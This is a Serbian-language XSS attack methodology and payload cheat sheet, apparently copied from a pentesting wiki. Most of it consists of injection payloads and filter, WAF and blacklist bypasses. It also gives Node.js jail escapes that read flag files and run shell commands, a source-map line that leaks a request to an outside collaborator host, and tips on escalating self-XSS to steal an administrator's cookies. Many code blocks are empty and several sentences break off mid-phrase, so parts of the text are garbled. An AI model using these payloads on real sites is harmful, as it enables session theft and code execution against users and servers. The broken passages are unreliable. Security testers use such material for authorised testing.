# XSS (Cross Site Scripting) ## Metodologija 1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda. 2. **Pronađite kontekst** u kojem se odražava/korišćen. 3. Ako je **odraženo** 1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload: 1. U **sirovom HTML-u**: 1. Možete li kreirati nove HTML tagove? 2. Možete li koristiti događaje ili atribute koji podržavaju `javascript:` protokol? 3. Možete li zaobići zaštite? 4. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS engine-a (_AngularJS_, _VueJS_, _Mavo_...), mogli biste zloupotrebiti [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Unutar **HTML taga**: 1. Možete li izaći u kontekst sirovog HTML-a? 2. Možete li kreirati nove događaje/atribute za izvršavanje JS koda? 3. Da li atribut u kojem ste zarobljeni podržava izvršavanje JS-a? 4. Možete li zaobići zaštite? 3. Unutar **JavaScript koda**: 1. Možete li pobjeći iz ``** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol: - Ako se odražava između **``** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `` oznaka unutar HTML koda. - Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Ako se odražava unutar template literals, možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode kodiranje** funkcioniše za pisanje **validnog javascript koda**: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\ **Pogledajte sledeću stranicu za više informacija:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Funkcija Nekoliko web stranica ima krajnje tačke koje **prihvataju kao parametar ime funkcije koja treba da se izvrši**. Uobičajen primer koji se može videti u praksi je nešto poput: `?callback=callbackFunc`. Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput: ![](<../../images/image (711).png>) U slučaju da je ranjivo, mogli biste da **pokrenete alert** jednostavno slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je uobičajeno da će ove krajnje tačke **validirati sadržaj** kako bi dozvolile samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). Međutim, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da **pristupite bilo kojem elementu u DOM-u**: ![](<../../images/image (747).png>) Neke korisne funkcije za ovo: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sales.delOrders`. Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, **druge stranice u istom poreklu** će imati **zanimljiviji DOM** za izvođenje više akcija. Stoga je, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena **Same Origin Method Execution (SOME)** eksploatacija: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM Postoji **JS kod** koji **nebezbedno** koristi neke **podatke koje kontroliše napadač** kao što je `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod. {{#ref}} dom-xss.md {{#endref}} ### **Univerzalni XSS** Ove vrste XSS mogu se naći **svuda**. Ne zavise samo od klijentske eksploatacije web aplikacije, već od **bilo kog** **konteksta**. Ove vrste **proizvoljnog izvršavanja JavaScript-a** mogu čak biti zloupotrebljene za dobijanje **RCE**, **čitanje** **proizvoljnih** **datoteka** na klijentima i serverima, i još mnogo toga.\ Neki **primeri**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF zaobilaženje kodiranja slike ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Umetanje unutar sirovog HTML-a Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\ Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*ili \*\*\*\*\*\***`--!>`\*\*_ U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao: ```html ``` Ali, ako se koristi crna/bela lista tagova/atributa, biće potrebno da **brute-force-ujete koje tagove** možete kreirati.\ Kada pronađete **koji tagovi su dozvoljeni**, biće potrebno da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst. ### Brute-force tagova/događaja Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre). ### Prilagođeni tagovi Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste učinili da stranica **fokusira na taj objekat** i **izvrši** kod: ``` /?search=#x ``` ### Blacklist Bypasses Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim glupim trikovima: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. **Korišćenje Hex i Octal kodiranja sa `javascript:`** Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Obrnuto nabbing kartica ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS u "Neiskoristivim tagovima" (skriveni unos, link, kanonski, meta) Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:** ```html ``` I u **meta tagovima**: ```html
Newsletter popup
``` Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora: ```markup ``` **XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="`** ### Obilaženje crne liste Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se da naučite gde možete koristiti: - **HTML kodiranje (HTML tagovi)** - **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)` - **URL kodiranje** - **Hex i Oktalno kodiranje** - **data kodiranje** **Obilaženje za HTML tagove i atribute** Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses). **Obilaženje za JavaScript kod** Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati da **modifikujete prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira. Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer > .test {display:block; color: blue; width: 100%\} i > \#someid {top: 0; font-family: Tahoma;} Sada možete modifikovati naš link i dovesti ga u oblik > \ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Umetanje unutar JavaScript koda U ovim slučajevima vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol. ### Izbegavanje \` lako možete **izbeći zatvaranje ` ``` Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije. ### Unutar JS koda Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje bilo kakve greške, JS kod neće biti izvršen: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Da biste konstruisali **nizove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\ Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**: Ovo se može **zloupotrebiti** koristeći: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`````````````` ``````````````` ### Izvršenje kodova u kodiranom obliku ```markup ``` **Javascript unutar komentara** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript bez zagrada** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Poziv proizvoljne funkcije (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM ranjivosti** Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\ **Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Tamo ćete pronaći detaljno **objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti**.\ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering napadima**](dom-xss.md#dom-clobbering). ### Unapređenje Self-XSS ### Cookie XSS Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Slanje vaše sesije administratoru Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost. ### Odbijanje sesije Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije. Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju. ## Ostali Bypasses ### Normalizovani Unicode Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\ Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Par "Ključ","Vrednost" će biti vraćen ovako: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Zatim će biti umetnut onfocus atribut i XSS se dešava. ### Posebne kombinacije ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS sa injekcijom zaglavlja u 302 odgovoru Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan. U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\ Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`. ### Samo slova, brojevi i tačke Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje. ### Validni ` ``` - **modul** (podrazumevano, nema potrebe za objašnjenjem) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** Omogućava poboljšanje sintakse uvoza ```html ``` Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca/tree/master/solution) da se premapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako: ```html ``` ### Web Content-Types to XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? nije na listi, ali mislim da sam ovo video u CTF-u) - application/rss+xml (isključeno) - application/atom+xml (isključeno) U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS: ```xml hello ``` ### Posebni obrasci zamene Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}", )`**, napadač može koristiti [**posebne zamene stringova**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kako bi pokušao da zaobiđe neke zaštite: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod. ### Chrome keš do XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS Jails izlaz Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda: - Korišćenjem import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Indirektno pristupanje `require` [Prema ovome](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su obavijeni od strane Node.js unutar funkcije, ovako: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Dakle, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass - **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Više sofisticirani JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ﾟωﾟﾉ = /｀ｍ´）ﾉ ~┻━┻ / /*´∇｀*/["_"] o = ﾟｰﾟ = _ = 3 c = ﾟΘﾟ = ﾟｰﾟ - ﾟｰﾟ ﾟДﾟ = ﾟΘﾟ = (o ^ _ ^ o) / (o ^ _ ^ o) ﾟДﾟ = { ﾟΘﾟ: "_", ﾟωﾟﾉ: ((ﾟωﾟﾉ == 3) + "_")[ﾟΘﾟ], ﾟｰﾟﾉ: (ﾟωﾟﾉ + "_")[o ^ _ ^ (o - ﾟΘﾟ)], ﾟДﾟﾉ: ((ﾟｰﾟ == 3) + "_")[ﾟｰﾟ], } ﾟДﾟ[ﾟΘﾟ] = ((ﾟωﾟﾉ == 3) + "_")[c ^ _ ^ o] ﾟДﾟ["c"] = (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ - ﾟΘﾟ] ﾟДﾟ["o"] = (ﾟДﾟ + "_")[ﾟΘﾟ] ﾟoﾟ = ﾟДﾟ["c"] + ﾟДﾟ["o"] + (ﾟωﾟﾉ + "_")[ﾟΘﾟ] + ((ﾟωﾟﾉ == 3) + "_")[ﾟｰﾟ] + (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] + ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] + ((ﾟｰﾟ == 3) + "_")[ﾟｰﾟ - ﾟΘﾟ] + ﾟДﾟ["c"] + (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] + ﾟДﾟ["o"] + ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] ﾟДﾟ["_"] = (o ^ _ ^ o)[ﾟoﾟ][ﾟoﾟ] ﾟεﾟ = ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] + ﾟДﾟ.ﾟДﾟﾉ + (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] + ((ﾟｰﾟ == 3) + "_")[o ^ _ ^ (o - ﾟΘﾟ)] + ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] + (ﾟωﾟﾉ + "_")[ﾟΘﾟ] ﾟｰﾟ += ﾟΘﾟ ﾟДﾟ[ﾟεﾟ] = "\\" ﾟДﾟ.ﾟΘﾟﾉ = (ﾟДﾟ + ﾟｰﾟ)[o ^ _ ^ (o - ﾟΘﾟ)] oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ﾟДﾟ[ﾟoﾟ] = '"' ﾟДﾟ["_"]( ﾟДﾟ["_"]( ﾟεﾟ + ﾟДﾟ[ﾟoﾟ] + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + (ﾟｰﾟ + ﾟΘﾟ) + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟｰﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟΘﾟ + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + 